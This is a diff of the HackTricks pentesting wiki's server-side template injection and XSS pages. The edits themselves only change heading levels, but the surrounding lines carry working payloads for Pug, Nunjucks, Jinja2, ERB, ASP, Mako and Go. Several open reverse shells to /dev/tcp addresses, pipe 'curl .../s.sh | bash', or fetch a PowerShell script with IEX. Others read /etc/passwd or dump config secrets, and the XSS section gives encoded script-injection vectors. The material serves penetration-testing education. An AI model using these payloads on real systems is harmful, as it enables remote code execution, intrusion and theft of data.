[https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) -#### PugJs (NodeJS) +### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` -**Example server side render** +#### Example server side render ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` -**More information** +#### More information * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) -#### NUNJUCKS (NodeJS) +### NUNJUCKS (NodeJS) * \{{7\*7\}} = 49 * \{{foo\}} = No output @@ -557,11 +556,11 @@ home = pugjs.render(injected_page) {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` -**More information** +#### More information * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) -#### ERB (Ruby) +### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` @@ -580,11 +579,11 @@ home = pugjs.render(injected_page) <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` -**More information** +#### More information * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -#### Slim (Ruby) +### Slim (Ruby) * `{ 7 * 7 }` @@ -592,11 +591,11 @@ home = pugjs.render(injected_page) { %x|env| } ``` -**More information** +#### More information * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -#### Python +### Python Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python: @@ -604,7 +603,7 @@ Check out the following page to learn tricks about **arbitrary command execution [bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) {% endcontent-ref %} -#### Tornado (Python) +### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -618,13 +617,12 @@ Check out the following page to learn tricks about **arbitrary command execution {% endraw %} - {{os.system('whoami')}} ``` -**More information** +#### More information -#### Jinja2 (Python) +### Jinja2 (Python) [Official website](http://jinja.pocoo.org) @@ -648,13 +646,12 @@ Check out the following page to learn tricks about **arbitrary command execution - {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` -**Jinja2 - Template format** +#### Jinja2 - Template format ```python {% raw %} @@ -669,7 +666,7 @@ Check out the following page to learn tricks about **arbitrary command execution {% endraw %} ``` -**Jinja2 - Debug Statement** +#### Jinja2 - Debug Statement If the Debug Extension is enabled, a \` @@ -679,19 +676,17 @@ If the Debug Extension is enabled, a \`
 
 
-
 {% raw %}
 {% debug %}
 {% endraw %}
 
 
-
 
``` Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) -**Jinja2 - Dump all used classes** +#### Jinja2 - Dump all used classes ```python {{ [].class.base.subclasses() }} @@ -699,7 +694,7 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement] {{ ''.__class__.__mro__[2].__subclasses__() }} ``` -**Jinja2 - Dump all config variables** +#### Jinja2 - Dump all config variables ```python {% raw %} @@ -710,7 +705,7 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement] {% endraw %} ``` -**Jinja2 - Read remote file** +#### Jinja2 - Read remote file ```python # ''.__class__.__mro__[2].__subclasses__()[40] = File class @@ -720,13 +715,13 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement] {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }} ``` -**Jinja2 - Write into remote file** +#### Jinja2 - Write into remote file ```python {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` -**Jinja2 - Remote Code Execution** +#### Jinja2 - Remote Code Execution Listen for connection @@ -767,7 +762,6 @@ More: - {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} @@ -795,7 +789,7 @@ More: {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` -**Jinja2 - Filter bypass** +#### Jinja2 - Filter bypass ```python request.__class__ @@ -834,12 +828,12 @@ Bypassing most common filters ('.','\_','|join','\[',']','mro' and 'base') by [h {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr( ``` -**More information** +#### More information * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Check [attr trick to bypass blacklisted chars in here](../../misc/basic-python/bypass-python-sandboxes/#python3). -#### Mako (Python) +### Mako (Python) ```python <% @@ -849,7 +843,7 @@ x=os.popen('id').read() ${x} ``` -#### Razor (.Net) +### Razor (.Net) * `@(2+2) <= Success` * `@() <= Success` @@ -869,7 +863,7 @@ ${x} * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) -#### ASP +### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo @@ -880,11 +874,11 @@ ${x} <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` -**More Information** +#### More Information * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) -#### Mojolicious (Perl) +### Mojolicious (Perl) Even if it's perl it uses tags like ERB in Ruby. @@ -896,7 +890,7 @@ Even if it's perl it uses tags like ERB in Ruby. <% perl code %> ``` -#### SSTI in GO +### SSTI in GO The way to confirm that the template engine used in the backed is Go you can use these payloads: @@ -905,14 +899,14 @@ The way to confirm that the template engine used in the backed is Go you can use * `{{printf "%s" "ssti" }}` = should output the string ssti in the response * `{{html "ssti"}}`, `{{js "ssti"}}` = These are a few other payloads which should output the string "ssti" without the trailing words "js" or "html". You can refer to more keywords in the engine [here](https://golang.org/pkg/text/template). -**XSS exploitation** +#### XSS exploitation If the server is **using the text/template** package, XSS is very easy to achieve by **simply** providing your **payload** as input. However, that is **not the case with html/template** as itHTMLencodes the response: `{{""}}` --> `<script>alert(1)</script>` However, Go allows to **DEFINE** a whole **template** and then **later call it**. The payload will be something like:\ `{{define "T1"}}{{end}} {{template "T1"}}` -**RCE Exploitation** +#### RCE Exploitation The documentation for both the html/template module can be found [here](https://golang.org/pkg/html/template/), and the documentation for the text/template module can be found [here](https://golang.org/pkg/text/template/), and yes, they do vary, a lot. For example, in **text/templat**e, you can **directly call any public function with the “call” value**, this however, is not the case with html/template. @@ -926,40 +920,41 @@ func (p Person) Secret (test string) string { } ``` -**More information** +#### More information * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -#### More Exploits +### More Exploits Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) -### BlackHat PDF +## BlackHat PDF {% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf" %} -### Related Help +## Related Help If you think it could be useful, read: * [Flask tricks](../../pentesting/pentesting-web/flask.md) * [Python magic functions](../../misc/basic-python/magic-methods.md) -### Tools +## Tools {% embed url="https://github.com/epinna/tplmap" %} -### Brute-Force Detection List +## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} -### Practice & References +## Practice & References * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection) +
Support HackTricks and get benefits! @@ -975,3 +970,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index c280536b..f72c1565 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,4 +1,4 @@ -# XSS (Cross Site Scripting) +
@@ -16,9 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## XSS (Cross Site Scripting) -### Methodology +# XSS (Cross Site Scripting) + +## Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. @@ -49,7 +50,7 @@ When working on a complex XSS you might find interesting to know about: [debugging-client-side-js.md](debugging-client-side-js.md) {% endcontent-ref %} -### Reflected values +## Reflected values In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page. @@ -57,16 +58,16 @@ In order to successfully exploit a XSS the first thing you need to find is a **v * **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**. * **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**. -### Contexts +## Contexts When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways. -#### Raw HTML +### Raw HTML If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `#x #Access http://site.com/?#x t ``` -**Style events** +#### Style events ```python

XSS

@@ -243,12 +244,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th
``` -#### Within the attribute +### Within the attribute Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** -**Bypass inside event using HTML encoding/URL encode** +#### **Bypass inside event using HTML encoding/URL encode** The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `Go Back ` @@ -275,7 +276,7 @@ Note that **any kind of HTML encode is valid**: Click ``` -**Bypass inside event using Unicode encode** +#### Bypass inside event using Unicode encode ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" @@ -283,7 +284,7 @@ Note that **any kind of HTML encode is valid**: ``` -#### Special Protocols Within the attribute +### Special Protocols Within the attribute There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't. @@ -307,7 +308,7 @@ data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== ``` -**Places where you can inject these protocols** +#### Places where you can inject these protocols **In general** the `javascript:` protocol can be **used in any tag that accepts the attribute `href`** and in **most** of the tags that accepts the **attribute `src`** (but not ` ``` -**Other obfuscation tricks** +#### Other obfuscation tricks _**In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.**_ @@ -349,7 +350,7 @@ Moreover, there is another **nice trick** for these cases\*\*: Even if your inpu Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**. -**Using Hex and Octal encode with `javascript:`** +#### Using Hex and Octal encode with `javascript:` You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**: @@ -365,7 +366,7 @@ You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` ``` -#### Reverse tab nabbing +### Reverse tab nabbing ```javascript